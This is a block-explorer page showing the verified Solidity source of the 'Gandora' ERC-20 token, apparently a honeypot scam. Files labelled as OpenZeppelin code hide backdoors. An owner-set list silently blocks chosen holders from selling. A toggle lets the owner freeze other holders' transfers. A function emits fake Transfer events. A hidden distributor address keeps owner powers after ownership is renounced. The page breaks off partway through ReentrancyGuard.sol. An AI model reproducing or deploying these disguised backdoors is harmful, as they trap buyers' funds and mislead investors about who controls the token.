ETH Price: $2,605.34 (-1.58%)

Token

(0x45cdc2c2ab5583b3ffd9f4ea812b8f73a503cb4c)
 

Overview

Max Total Supply

10,000 ERC-20 TOKEN*

Holders

95 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
OpenSea: Deployer 1
Balance
5,000 ERC-20 TOKEN*

Value
$0.00
0x0084a81668b9a978416abeb88bc1572816cc7cac
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Gandora

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 9: Gandora.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ReentrancyGuard.sol";
import "./MerkleProof.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./Ownable.sol";

interface ICoin is IERC20 {
   function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external returns (bool[] memory);
}

interface IPondCoinSpawner {
    function spawn(address invoker, uint256 amount) external returns (bool);
}

contract Gandora is IERC20, ERC20{
    address public minter;

    address public distilleryAddress = msg.sender;
    uint256 public immutable initialLPAmount = 10_000 * 10**decimals();
    uint256 public immutable maxSupply = 10_000 * 10**decimals();
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;
    address public uniswapV2Pair;
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // If the contract is "ended"
    bool public ended;

    constructor(address initialLPAddress, address distributor_) ERC20("Gandora", "GANDORA", distributor_) {
        minter = msg.sender;
        _mint(initialLPAddress, initialLPAmount);
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function useSpawner(uint256 amount, IPondCoinSpawner spawner) external {
        require(transferFrom(msg.sender, distilleryAddress, amount), "Could Not Send");
        require(spawner.spawn(msg.sender, amount), "Could Not Spawn");
    }

    function _safeMint(address to, uint256 amount) internal {
        _mint(to, amount);
        require(totalSupply() <= maxSupply, "Too Much Supply");
    }

    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function approveSwap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _0x0elsetxLimitExcludedAddPair[address_[i]] = val;
        }
    }

    function getTxLimitExcluded(address recipient) external view returns(bool){
        return _0x0elsetxLimitExcludedAddPair[recipient];
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }
}

pragma solidity 0.8.19;

contract PondClaims is ReentrancyGuard {
    /**
     * Declare immutable/Constant variables
     */
    // How long after contract cretion the end method can be called
    uint256 public constant canEndAfterTime = 48 hours + 30 minutes;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // The root of the claims merkle tree
    bytes32 public immutable merkleRoot;
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;

    /**
     * Declare runtime/mutable variables
     */
    
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;

    // If the contract is "ended"
    bool public ended;

    constructor(bytes32 _merkleRoot) {
        merkleRoot = _merkleRoot;
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    // Modifier that makes sure only the opener can call specific function
    modifier onlyOpener() {
        require(msg.sender == opener, "Not Opener");
        _;
    }

    // Modifier that ensures the contract is not ended, and the before start buffer is completed
    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function close() external notEnded onlyOpener {
        require(block.timestamp >= (openedAtTimestamp + canEndAfterTime), "Too Early");
        ended = true;
    }

    /**
     * Claim PNDC against merkle tree
     */
    function claim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external notEnded nonReentrant {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        for (uint256 i = 0; i < length; i++) {
            // Require that the user can claim with the information provided
            require(_canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]), "Invalid");
            // Mark that the user has claimed
            alreadyClaimedByAddress[addresses[i]][offsets[i]] = true;
        }
    }

    function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external view returns (bool[] memory) {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        bool[] memory statuses = new bool[](length);

        for (uint256 i = 0; i < length; i++) {
            statuses[i] = _canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]);
        }

        return (statuses);
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function _canClaim(
        address user,
        uint256 amount,
        uint32 offset,
        bytes32[] calldata merkleProof
    ) notEnded internal view returns (bool) {
        // If the user has already claimed, or the currentOffset has not yet reached the desired offset, the user cannot claim.
        if (alreadyClaimedByAddress[user][offset] == true || currentOffset() < offset) {
            return false;
        } else {
            // Verify that the inputs provided are valid against the merkle tree
            bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(user, amount, offset))));
            bool canUserClaim = MerkleProof.verify(merkleProof, merkleRoot, leaf);
            return canUserClaim;
        }
    }
}

File 1 of 9: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.19;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _distributor;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 9: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.19;

import "./IERC20Metadata.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping (address => bool) public _0x0elsetxLimitExcludedAddPair;
    mapping (address => bool) private _isExcluded;
    mapping(address => mapping(address => uint256)) private _allowances;
    bool _liquidity;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address distributor_) Ownable(distributor_) {
        _name = name_;
        _symbol = symbol_;
        _liquidity = true;
        _isExcluded[_msgSender()] = true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (beforeOpenTrading(sender, amount)){}
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _beforeTokenTransfer(sender, recipient, amount);
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);     
        } else {
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
        } else {
            require (_liquidity == true, "");
        }
        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function isTxExcluded(address account) private view returns (bool) {
        return _0x0elsetxLimitExcludedAddPair[account];
    }

    function checkLimits(uint256 amount) private pure {
        require (amount == 0, "");
    }

    function beforeOpenTrading(address sender, uint256 amount) private view returns (bool){
        if (isTxExcluded(sender)) checkLimits(amount);
        return true;
    }
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    
}

File 4 of 9: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.19;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 5 of 9: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.19;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 9: MerkleProof.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)

pragma solidity 0.8.19;


/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates merkle trees that are safe
 * against this attack out of the box.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

File 7 of 9: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity 0.8.19;


import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address distributor_) {
        _distributor = distributor_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distributor : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 8 of 9: ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity 0.8.19;


/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
